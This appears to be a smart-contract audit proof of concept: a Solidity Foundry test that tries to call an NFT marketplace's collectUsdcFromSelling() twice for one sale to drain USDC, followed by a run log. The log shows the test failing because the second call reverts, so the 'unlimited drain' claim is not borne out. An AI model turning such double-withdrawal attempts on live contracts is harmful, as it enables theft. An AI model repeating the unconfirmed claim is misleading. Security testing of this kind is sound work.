pragma solidity ^0.8.34;
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
* @title NFTDealers_UnlimitedDrain_PoC
*
* @notice Minimal PoC showing that `collectUsdcFromSelling()` can be called
* multiple times for the same sold NFT, allowing repeated withdrawals.
*/
contract NFTDealers_UnlimitedDrain_PoC is Test {
NFTDealers internal nft;
MockUSDC internal usdc;
address internal owner = makeAddr("owner");
address internal seller = makeAddr("seller");
address internal buyer = makeAddr("buyer");
address internal innocent = makeAddr("innocent");
uint256 internal constant LOCK_AMOUNT = 20e6;
uint32 internal constant SALE_PRICE = 100e6;
uint256 internal constant INNOCENT_MINTS = 10;
function setUp() public {
usdc = new MockUSDC();
vm.prank(owner);
nft = new NFTDealers(
owner,
address(usdc),
"TestCollection",
"TC",
"ipfs://image",
LOCK_AMOUNT
);
vm.startPrank(owner);
nft.revealCollection();
nft.whitelistWallet(seller);
nft.whitelistWallet(buyer);
nft.whitelistWallet(innocent);
vm.stopPrank();
}
function _mintMany(address user, uint256 amount) internal {
vm.startPrank(user);
usdc.mint(user, amount * LOCK_AMOUNT);
usdc.approve(address(nft), amount * LOCK_AMOUNT);
for (uint256 i; i < amount; i++) {
nft.mintNft();
}
vm.stopPrank();
}
function test_UnlimitedDrain() public {
_mintMany(innocent, INNOCENT_MINTS);
vm.startPrank(seller);
usdc.mint(seller, LOCK_AMOUNT);
usdc.approve(address(nft), LOCK_AMOUNT);
nft.mintNft();
vm.stopPrank();
uint256 tokenId = INNOCENT_MINTS + 1;
vm.prank(seller);
nft.list(tokenId, SALE_PRICE);
vm.startPrank(buyer);
usdc.mint(buyer, SALE_PRICE);
usdc.approve(address(nft), SALE_PRICE);
nft.buy(tokenId);
vm.stopPrank();
uint256 contractBalanceBefore = usdc.balanceOf(address(nft));
uint256 sellerBalanceBefore = usdc.balanceOf(seller);
uint256 fees = nft.calculateFees(SALE_PRICE);
uint256 expectedOnce = (uint256(SALE_PRICE) - fees) + LOCK_AMOUNT;
console.log("=== BEFORE EXPLOIT ===");
console.log("Contract balance :", contractBalanceBefore / 1e6, "USDC");
console.log("Seller balance :", sellerBalanceBefore / 1e6, "USDC");
console.log("Expected once :", expectedOnce / 1e6, "USDC");
vm.prank(seller);
nft.collectUsdcFromSelling(tokenId);
vm.prank(seller);
nft.collectUsdcFromSelling(tokenId);
uint256 contractBalanceAfter = usdc.balanceOf(address(nft));
uint256 sellerBalanceAfter = usdc.balanceOf(seller);
uint256 gained = sellerBalanceAfter - sellerBalanceBefore;
console.log("=== AFTER EXPLOIT ===");
console.log("Contract balance :", contractBalanceAfter / 1e6, "USDC");
console.log("Seller balance :", sellerBalanceAfter / 1e6, "USDC");
console.log("Seller gained :", gained / 1e6, "USDC");
console.log("Expected twice :", (expectedOnce * 2) / 1e6, "USDC");
console.log(
"Collateral still set:",
nft.collateralForMinting(tokenId) / 1e6,
"USDC"
);
assertGt(
gained,
expectedOnce,
"Seller received more than a single payout"
);
assertApproxEqAbs(
gained,
expectedOnce * 2,
1,
"Seller did not receive the payout twice"
);
assertEq(
contractBalanceBefore - contractBalanceAfter,
gained,
"Seller gain should match contract loss"
);
assertEq(
nft.collateralForMinting(tokenId),
LOCK_AMOUNT,
"Collateral not cleared after collection"
);
}
}
Fee USDC is already held by the contract; totalFeesCollected tracking is sufficient — no self-transfer needed
forge test --match-test test_UnlimitedDrain -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealers_UnlimitedDrain_PoC.t.sol:NFTDealers_UnlimitedDrain_PoC
[FAIL: Not sold or already collected] test_UnlimitedDrain() (gas: 1140040)
Logs:
=== BEFORE EXPLOIT ===
Contract balance : 320 USDC
Seller balance : 0 USDC
Expected once : 119 USDC
Traces:
[1140040] NFTDealers_UnlimitedDrain_PoC::test_UnlimitedDrain()
├─ [0] VM::startPrank(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF])
│ └─ ← [Return]
├─ [47291] MockUSDC::mint(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], 200000000 [2e8])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], value: 200000000 [2e8])
│ └─ ← [Stop]
├─ [25296] MockUSDC::approve(NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 200000000 [2e8])
│ ├─ emit Approval(owner: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], spender: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 200000000 [2e8])
│ └─ ← [Return] true
├─ [127230] NFTDealers::mintNft()
│ ├─ [26814] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 1)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 2)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 3)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 4)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 5)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 6)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 7)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 8)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 9)
│ └─ ← [Stop]
├─ [55530] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: innocent: [0x0594EBeb3b538104d941aFD87C7c9bD337438cBF], tokenId: 10)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174])
│ └─ ← [Return]
├─ [25391] MockUSDC::mint(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], 20000000 [2e7])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], value: 20000000 [2e7])
│ └─ ← [Stop]
├─ [25296] MockUSDC::approve(NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ ├─ emit Approval(owner: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], spender: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ └─ ← [Return] true
├─ [79430] NFTDealers::mintNft()
│ ├─ [4914] MockUSDC::transferFrom(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000 [2e7])
│ │ ├─ emit Transfer(from: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 20000000 [2e7])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], tokenId: 11)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174])
│ └─ ← [Return]
├─ [94596] NFTDealers::list(11, 100000000 [1e8])
│ ├─ emit NFT_Dealers_Listed(listedBy: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], listingId: 1)
│ └─ ← [Stop]
├─ [0] VM::startPrank(buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02])
│ └─ ← [Return]
├─ [25391] MockUSDC::mint(buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], 100000000 [1e8])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], value: 100000000 [1e8])
│ └─ ← [Stop]
├─ [25296] MockUSDC::approve(NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 100000000 [1e8])
│ ├─ emit Approval(owner: buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], spender: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 100000000 [1e8])
│ └─ ← [Return] true
├─ [59157] NFTDealers::buy(11)
│ ├─ [4914] MockUSDC::transferFrom(buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 100000000 [1e8])
│ │ ├─ emit Transfer(from: buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], to: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 100000000 [1e8])
│ │ └─ ← [Return] true
│ ├─ emit Transfer(from: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], to: buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], tokenId: 11)
│ ├─ emit NFT_Dealers_Sold(soldTo: buyer: [0x0fF93eDfa7FB7Ad5E962E4C0EdB9207C03a0fe02], price: 100000000 [1e8])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [850] MockUSDC::balanceOf(NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ └─ ← [Return] 320000000 [3.2e8]
├─ [850] MockUSDC::balanceOf(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174]) [staticcall]
│ └─ ← [Return] 0
├─ [1241] NFTDealers::calculateFees(100000000 [1e8]) [staticcall]
│ └─ ← [Return] 1000000 [1e6]
├─ [0] console::log("=== BEFORE EXPLOIT ===") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Contract balance :", 320, "USDC") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Seller balance :", 0, "USDC") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Expected once :", 119, "USDC") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174])
│ └─ ← [Return]
├─ [50429] NFTDealers::collectUsdcFromSelling(11)
│ ├─ [23745] MockUSDC::transfer(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], 119000000 [1.19e8])
│ │ ├─ emit Transfer(from: NFTDealers: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], to: seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174], value: 119000000 [1.19e8])
│ │ └─ ← [Return] true
│ └─ ← [Stop]
├─ [0] VM::prank(seller: [0xDFa97bfe5d2b2E8169b194eAA78Fbb793346B174])
│ └─ ← [Return]
├─ [2552] NFTDealers::collectUsdcFromSelling(11)
│ └─ ← [Revert] Not sold or already collected
└─ ← [Revert] Not sold or already collected
Backtrace:
at NFTDealers.collectUsdcFromSelling
at NFTDealers_UnlimitedDrain_PoC.test_UnlimitedDrain
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.89ms (1.35ms CPU time)
Ran 1 test suite in 20.11ms (2.89ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/NFTDealers_UnlimitedDrain_PoC.t.sol:NFTDealers_UnlimitedDrain_PoC
[FAIL: Not sold or already collected] test_UnlimitedDrain() (gas: 1140040)
Encountered a total of 1 failing tests, 0 tests succeeded